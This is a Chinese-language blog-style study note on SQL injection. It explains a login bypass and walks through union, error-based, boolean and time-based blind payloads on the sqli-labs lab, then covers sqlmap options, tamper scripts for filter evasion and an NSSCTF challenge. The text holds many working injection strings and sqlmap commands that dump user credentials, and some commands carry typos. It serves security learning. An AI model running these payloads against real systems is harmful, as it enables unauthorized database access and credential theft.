1.sql注入原理:
SQL注入原理:攻击者在用户输入字段中插入恶意代码,欺骗数据库执行SQL命令,从而窃取、篡改或破坏各类敏感数据。SQL注入漏洞最主要的形成原因是在进行数据交互中,当前端的数据传入后端进行处理时,由于没有做严格的判断,导致其传入的“数据”在拼接到SQL语句中之后,由于其特殊性,被当作SQL语句的一部分被执行,从而导致数据库受损(被脱库、被删除、甚至整个服务器权限沦陷)。
ps:及后端服务器在收到参数未对参数进行过滤直接带入数据库当中进行查询,这样就导致了参数拼接构造的sql语句进行执行
列子:当我们在前端进行页面登录的时候后端代码
select * from users where user='用户名' and password='密码'
输入用户admin和万能密码:2' or '1时后端代码
select * from users where user='admin' and password='2'or'1'
因为逻辑运算符有优先级之分 or<and< = 此时后端把语句分为两段进行执行,两段bool值进行逻辑or比较及一真则真达到恒真的效果,sql语句返回为真及就代表登录成功
总结:将用户输入的数据拼接到代码中,并被当成 sql 语句执行。
2.注入常用函数及内置库表
- user() 返回当前数据库的用户名
- version() 返回当前数据库的版本号
- database() 返回当前数据库
- gruop_concat() 把几列数据合成一个符串
- @@datadir 数据库路径
- @@version_compile_os 操作系统版本
- concat() 合并字符串
- substr() 截取字符串
a.内置数据库
lnformation_schema //包含所有mysql数据库的简要信息
b.内置数据表
tables //表名集合表
columns //列名集合表
table_schema //数据库名
table_name //表名
column_name //列名
3.sql注入基本思路
一、判断注入类型
id=1'报错为字符型 //找到它的闭合方式, ’ “ ') ")
id=1 and 1=2 或2-1 页面显示错误为数字型
注释:# --+ -- - 注释掉后面没有用的语句只执行想要执行的sql语句
二、判断字段数/列名
order by 1 --+
三、判断数据显示点
?id=-1' union select 1,2,3 --+ //可以把注入点改为负数或零达到注释前半段语句的效果
四、显示用户和数据库名
?id=-1 select 1,user(),databese() --+
五、查看所有表
union select 1,(select group_concat(table_name)form information_schema.tables where table_schema='数据库名'),3 --+
六、查看表里的所有列
union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='数据库' and table_name='表名'),3 --+
七、查看字段值
union select 1,(select group_concat(user,pass) from users), 3 --+
4.sqli_labs靶场
一、数字型注入:
传入id=1进行查找注入点,发现页面回显正常
半段注入类型,?id=1-2发现页面无回显,因为表达式传入sql语句中进行了运算,结果为假所以没有回显,类型为数字型注入
使用order by进行判断字段数,4的时候报错说明字段数为3 使用--+来注释后面的语句
发现回显位为2和3,使用union连接sql语句 id=-1注释前面多余语句
查询数据库版本号和当前数据库名
查询security库下面有哪些表
查询users表中的字段
爆出username,password的值
二、报错注入
1.extractvalue
判断闭合方式为单引号
判断字段数到4报错,字段长度为3
使用extractvalue进行报错注入
?id=1' union select 1,extractvalue(1,concat(0x7e,(select database()))),3 --+
查看数据库下的所以表
?id=1' and 1=extractvalue(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'))) --+
查询users表下的所以字段名
?id=1' and 1=extractvalue(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'))) --+
查询users和paswd的值
?id=1' and 1=extractvalue(1,concat(0x7e,(select substring(group_concat(username,':',password),1,30) from users))) --+
2.updatexml
这个跟上面那个差不多我这里就不演示了,直接放命令
查询数据库名
?id=1" and 1=updatexml(1,concat('~',(select database())),3) --+
查询数据库下的所有表
?id=1" and 1=updatexml(1,concat('~',(select group_concat(table_name)from information_schema.tables where table_schema=database())),3)
查询表下面的字段名
?id=1" and 1=updatexml(1,concat('~',(select group_concat(column_name)from information_schema.columns where table_schema=database() and table_name='users')),3) --+
查询字段值
?id=1" and 1=updatexml(1,concat('~',(select substring(group_concat(username,'~',password),1,30)from users)),3) --+
三、布尔盲注
适用情况:页面没有显示位,没有报错信息,只有成功和不成功两种情况,web页面只返回True真,False假两种类型利用页面返回不同,逐个猜解数据
使用方法:
使用ascii()把查询到的内容转换成数字,以真假页面来判断字母对应的ascii码数字的正确
看到ascii等于115的时候页面返回为真,等于116的时候页面为假以此判断数据库的一个字符的ascii码值为115,然后对他进行解码就可以了
接下来的操作就是以此类推
查询数据库下的所有表 等于101的时候为真
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101 --+
四、时间盲注
时间盲注:就是通过页面回显的速度来判断真加
关键函数:sleep()
判断闭合符号,如果页面被立马执行了就说明为真,缓存三秒后就为假
可以看到响应时间为三秒说明闭合方式为单引号
5.sqlmap工具使用
ps:sqlmap是一款基于python编写的渗透测试工具,在sql检测和利用方面功能强大,支持多种数据库。
1、sqlmap支持的六种注入模式
1、基于布尔盲注,即可以根据返回页面判断条件真假的注入。
2、基于时间盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句 是否执行(即页面返回时间是否增加)来判断。
3、基于报错注入、即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
4、联合查询注入、可以使用union的情况下的注入。
5、堆查询注入、可以同时执行多条语句的执行时的注入。
6、内联查询注入、在sql语句中执行sql语句
2.url的选择
-u 目标URL
例:sqlmap -u "www.abc.com/index.php?id=1"
-m 后接一个txt文件,文件中是多个url,sqlmap会自动化的检测其中的所有url。
例:sqlmap -m target.txt
-r 可以将一个post请求方式的数据包(bp抓包)保存在一个txt中,sqlmap会通过post方式检测目标。
例:sqlmap -r bp.txt
3.常用命令及枚举
-b, --banner 获取数据库管理系统的标识
--current-user 获取数据库管理系统当前用户
--current-db 获取数据库管理系统当前数据库
--hostname 获取数据库服务器的主机名称
--is-dba 检测DBMS当前用户是否DBA
--users 枚举数据库管理系统用户
--passwords 枚举数据库管理系统用户密码哈希
--privileges 枚举数据库管理系统用户的权限
--dbs 枚举数据库管理系统数据库
--tables 枚举DBMS数据库中的表
--columns 枚举DBMS数据库表列
-D 要进行枚举的指定数据库名
-T 要进行枚举的指定表名
-C 要进行枚举的指定列名
--dump 转储数据库表项,查询字段值
--search 搜索列(S),表(S)和/或数据库名称(S)
--sql-query=QUERY 要执行的SQL语句
--sql-shell 提示交互式SQL的shell
4.一把梭
1、判断是否有注入
sqlmap -u http://127.0.0.1/sqli/Less-1/?id=1
2、查看所有数据库
sqlmap -u http://127.0.0.1/sqli/Less-1/?id=1 --dbs
3、查看当前使用的数据库
sqlmap -u http://127.0.0.1/sqli/Less-1/?id=1 --current-db
4、查看数据表
sqlmap -u http://127.0.0.1/sqli/Less-1/?id=1 -D security --tables
5、查看列名
sqlmap -u http://127.0.0.1/sqli/Less-1/?id=1 -D security -T users --columns
6、查看数据
sqlmap -u http://127.0.0.1/sqli/Less-1/?id=1 -D security -T user --dump
5.常用脚本
lowercase.py 用小写值替换每个关键字字符
modsecurityversioned.py 用注释包围完整的查询
modsecurityzeroversioned.py 用当中带有数字零的注释包围完整的查询
multiplespaces.py 在SQL关键字周围添加多个空格
nonrecursivereplacement.py 用representations替换预定义SQL关键字,适用于过滤器
overlongutf8.py 转换给定的payload当中的所有字符
percentage.py 在每个字符之前添加一个百分号
randomcase.py 随机转换每个关键字字符的大小写
randomcomments.py 向SQL关键字中插入随机注释
securesphere.py 添加经过特殊构造的字符串
sp_password.py 向payload末尾添加“sp_password” for automatic obfuscation from DBMS logs
space2comment.py 用“/**/”替换空格符
space2dash.py 用破折号注释符“--”其次是一个随机字符串和一个换行符替换空格符
space2hash.py 用磅注释符“#”其次是一个随机字符串和一个换行符替换空格符
space2morehash.py 用磅注释符“#”其次是一个随机字符串和一个换行符替换空格符
space2mssqlblank.py 用一组有效的备选字符集当中的随机空白符替换空格符
space2mssqlhash.py 用磅注释符“#”其次是一个换行符替换空格符
space2mysqlblank.py 用一组有效的备选字符集当中的随机空白符替换空格符
space2mysqldash.py 用破折号注释符“--”其次是一个换行符替换空格符
space2plus.py 用加号“+”替换空格符
space2randomblank.py 用一组有效的备选字符集当中的随机空白符替换空格符
unionalltounion.py 用“UNION SELECT”替换“UNION ALL SELECT”
unmagicquotes.py 用一个多字节组合%bf%27和末尾通用注释一起替换空格符 宽字节注入
6.sqlmap实例
这里用的是NSSCTF靶场里面的题,这道题过滤了空格和# 所以可以使用自带的脚本
--tamper=space2comment
-u指定url --dbs爆出数据库 --batch是自动化参数(可以不加) --thread 10 (线程)
得到数据库test_db --tabels参数爆数据表
爆出LTLT_flag数据表 --columns爆出字段名
-C 指定字段名 --dunp爆出字段内容 这里由于我线程开太高了 所以flag不正确 线程一般2就可以了
----------------------------------------------------------------------------------------------------------------------
------------------------------------------------------------------------------------------------
ps: 今天又是收获满满的一天,私信博主一起学习哦